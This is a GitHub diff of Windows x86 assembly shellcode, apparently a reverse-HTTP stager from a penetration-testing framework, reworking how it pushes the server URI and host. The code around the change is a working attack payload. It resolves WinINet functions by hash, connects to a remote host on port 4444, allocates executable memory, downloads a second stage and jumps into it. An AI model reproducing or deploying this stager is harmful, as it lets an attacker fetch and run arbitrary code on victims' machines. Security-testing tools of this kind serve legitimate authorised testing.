File tree Expand file tree Collapse file tree 1 file changed +6
-9
lines changed
external/source/shellcode/windows/x86/src/block Expand file tree Collapse file tree 1 file changed +6
-9
lines changed Original file line number Diff line number Diff line change @@ -60,7 +60,9 @@ internetconnect:
60
60
push ebx ; password (NULL)
61
61
push ebx ; username (NULL)
62
62
push dword 4444 ; PORT
63
- jmp short dbl_get_server_host ; push pointer to HOSTNAME
63
+ call got_server_uri ; double call to get pointer for both server_uri and
64
+ server_uri: ; server_host; server_uri is saved in EDI for later
65
+ db "/12345" , 0x00
64
66
got_server_host:
65
67
push eax ; HINTERNET hInternet
66
68
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
@@ -72,10 +74,7 @@ httpopenrequest:
72
74
push ebx ; accept types
73
75
push ebx ; referrer
74
76
push ebx ; version
75
- call got_server_uri
76
- server_uri:
77
- db "/12345" , 0x00
78
- got_server_uri:
77
+ push edi ; server URI
79
78
push ebx ; method
80
79
push eax ; hConnection
81
80
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
@@ -125,9 +124,6 @@ failure:
125
124
push 0x56A2B5F0 ; hardcoded to exitprocess for size
126
125
call ebp
127
126
128
- dbl_get_server_host:
129
- jmp get_server_host
130
-
131
127
allocate_memory:
132
128
push byte 0x40 ; PAGE_EXECUTE_READWRITE
133
129
push 0x1000 ; MEM_COMMIT
@@ -163,7 +159,8 @@ download_more:
163
159
execute_stage:
164
160
ret ; dive into the stored stage address
165
161
166
- get_server_host:
162
+ got_server_uri:
163
+ pop edi
167
164
call got_server_host
168
165
169
166
server_host:
You can’t perform that action at this time.
0 commit comments